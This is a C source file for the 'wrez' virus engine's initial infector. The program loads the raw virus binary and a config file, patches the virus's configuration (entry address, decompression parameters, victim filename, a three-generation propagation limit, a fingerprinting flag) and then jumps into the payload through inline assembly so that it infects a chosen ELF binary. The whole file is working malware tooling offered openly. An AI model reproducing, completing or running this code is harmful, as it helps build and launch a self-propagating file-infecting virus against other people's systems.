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/* initial infector which infects exactly one given binary with the virus
* this is necessary because we only have the virus in raw binary form after
* the build has taken place (i.e. no executeable elf file). so we have two
* choices, either putting together a proper initial elf file, or executing
* it as if it would already have infected a process (this one). the later is
* easier, as we have to fixup some compression-related data in the raw data
* anyway.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#pragma pack(1)
#include "wrconfig.h"
void usage (char *progname);
char * configfile = "wrez.bin.conf";
void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-c config] [-i binary.out] <victim>\n"
"\n", progname);
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
FILE * bfp;
char * infile = "wrez.bin.out";
long int infile_len;
unsigned char * infile_data;
unsigned int cfg_delta,
decomp_len;
wrconfig * cfg;
wrdynconfig dcfg;
unsigned short llstuff, hl2stuff, hf2stuff;
char * victim;
char c;
char * progname;
FILE * cfgfp;
char cfgline[128];
char lzstr[128];
fprintf (stderr, "wrez engine - initial infector\n\n");
progname = argv[0];
if (argc < 2)
usage (progname);
while ((c = getopt (argc, argv, "c:i:")) != EOF) {
switch (c) {
case 'c':
configfile = optarg;
break;
case 'i':
infile = optarg;
break;
default:
usage (progname);
break;
}
}
victim = argv[argc - 1];
if (victim[0] == '-')
usage (progname);
/* read in configuration file
*/
cfgfp = fopen (configfile, "r");
if (cfgfp == NULL) {
perror ("fopen configfile");
exit (EXIT_FAILURE);
}
while (fgets (cfgline, sizeof (cfgline), cfgfp) != NULL) {
unsigned char keyword[16];
if (sscanf (cfgline, "%15[^ ]", keyword) != 1) {
fprintf (stderr, "invalid configuration file\n");
exit (EXIT_FAILURE);
}
/* XXX: kludge, put a better parser in here
*/
if (strcmp (keyword, "configrel") == 0) {
if (sscanf (cfgline, "configrel %u", &cfg_delta) != 1) {
fprintf (stderr, "invalid configrel\n");
exit (EXIT_FAILURE);
}
} else if (strcmp (keyword, "skip") == 0) {
if (sscanf (cfgline, "skip %u", &decomp_len) != 1) {
fprintf (stderr, "invalid skip\n");
exit (EXIT_FAILURE);
}
} else if (strcmp (keyword, "compress") == 0) {
if (sscanf (cfgline, "compress %127s", lzstr) != 1) {
fprintf (stderr, "invalid compress\n");
exit (EXIT_FAILURE);
}
} else {
fprintf (stderr, "invalid configuration file\n");
exit (EXIT_FAILURE);
}
}
if (strlen (victim) >= sizeof (cfg->dyn.vinit.victim)) {
fprintf (stderr, "temporary victim filename can be no longer "
"than %d characters, yours is %d chars.\n",
sizeof (cfg->dyn.vinit.victim) - 1,
strlen (victim));
exit (EXIT_FAILURE);
}
bfp = fopen (infile, "rb");
if (bfp == NULL) {
perror ("fopen");
exit (EXIT_FAILURE);
}
fseek (bfp, 0, SEEK_END);
infile_len = ftell (bfp);
fseek (bfp, 0, SEEK_SET);
infile_data = calloc (1, infile_len + 64 * 1024 + 2);
infile_data[0] = 0x9c; /* pushf */
infile_data[1] = 0x60; /* pusha */
if (fread (infile_data + 2, 1, infile_len, bfp) != infile_len) {
fprintf (stderr, "failed to read %s into memory, expected %ld "
"bytes, got less.\n", infile, infile_len);
exit (EXIT_FAILURE);
}
fclose (bfp);
printf ("# successfully read %ld bytes into memory\n", infile_len);
printf ("# fixing configuration structure\n");
/* get new configuration structure, and change important settings:
*
* wr_start = virtual address of first byte of virus (dynamic)
* decomp_len = length of the decompression stub (static)
* victim = first-infection victim filename (dynamic), later used
* for flag data, see wrconfig.h
* cmprlen, llstuff, hl1stuff, hl2stuff, hf2stuff = decompression
* related data used by the decompression stub (static)
*/
cfg = (wrconfig *) (&infile_data[2] + cfg_delta);
printf ("# .. wr_start [0x%08lx] -> ", cfg->wr_start);
cfg->wr_start = (unsigned long int) &infile_data[2];
printf ("[0x%08lx]\n", cfg->wr_start);
printf ("# .. decomp_len [%ld] -> ", cfg->decomp_len);
cfg->decomp_len = decomp_len;
printf ("[%ld]\n", cfg->decomp_len);
printf ("# .. elf_base [0x%08lx] -> ", cfg->elf_base);
cfg->elf_base = 0x08048000; /* XXX: kludge, hardcoded values */
printf ("[0x%08lx]\n", cfg->elf_base);
printf ("# .. dyn.vinit.victim[%d] \"%s\" -> ",
sizeof (cfg->dyn.vinit.victim),
cfg->dyn.vinit.victim);
memcpy (cfg->dyn.vinit.victim, victim, strlen (victim) + 1);
printf ("\"%s\" (%d + 1 bytes)\n", cfg->dyn.vinit.victim,
strlen (victim));
/* TODO: initialize dcfg structure
*/
dcfg.cnul = 0x00;
dcfg.flags = 0;
WRF_SET (dcfg.flags, WRF_GENERATION_LIMIT);
dcfg.icount = 3; /* three propagations, then infertile */
WRF_SET (dcfg.flags, WRF_GET_FINGERPRINT);
memcpy (dcfg.xxx_temp, "victim", 7);
if (sizeof (wrdynconfig) > (VICTIM_LEN + sizeof (void *))) {
fprintf (stderr, "FATAL: sizeof wrdynconfig exceeds space: "
"%d > %d\n", sizeof (wrdynconfig), (VICTIM_LEN +
sizeof (void *)));
exit (EXIT_FAILURE);
}
printf ("# .. dyn.vinit.vcfgptr [0x%08lx] -> ",
(unsigned long int) cfg->dyn.vinit.vcfgptr);
cfg->dyn.vinit.vcfgptr = &dcfg;
printf ("[0x%08lx]\n", (unsigned long int) cfg->dyn.vinit.vcfgptr);
if (sscanf (lzstr, "%lu:%hu:%hu:%hu:%hu",
&cfg->cmprlen, &llstuff, &cfg->hl1stuff, &hl2stuff,
&hf2stuff) != 5)
{
fprintf (stderr, "failed to parse huffman string: %s\n",
argv[3]);
exit (EXIT_FAILURE);
}
cfg->llstuff = llstuff;
cfg->hl2stuff = hl2stuff;
cfg->hf2stuff = hf2stuff;
printf ("# .. cmprlen\tllstuff\thl1st\thl2st\thf2st\n");
printf ("# 0x%04lx\t0x%02x\t0x%04x\t0x%02x\t0x%02x\n",
cfg->cmprlen, cfg->llstuff, cfg->hl1stuff, cfg->hl2stuff,
cfg->hf2stuff);
printf ("# fixed, ready to infect.\n");
/* 0x83 0xc3 0xfc 0x83 = add $0xfffffffc, %ebx */
__asm__ __volatile__ (
"call *%%eax\n"
"add $0xfffffffc, %%ebx\n"
: : "a" (infile_data), "b" (infile_data));
printf ("# infected.\n");
exit (EXIT_SUCCESS);
}
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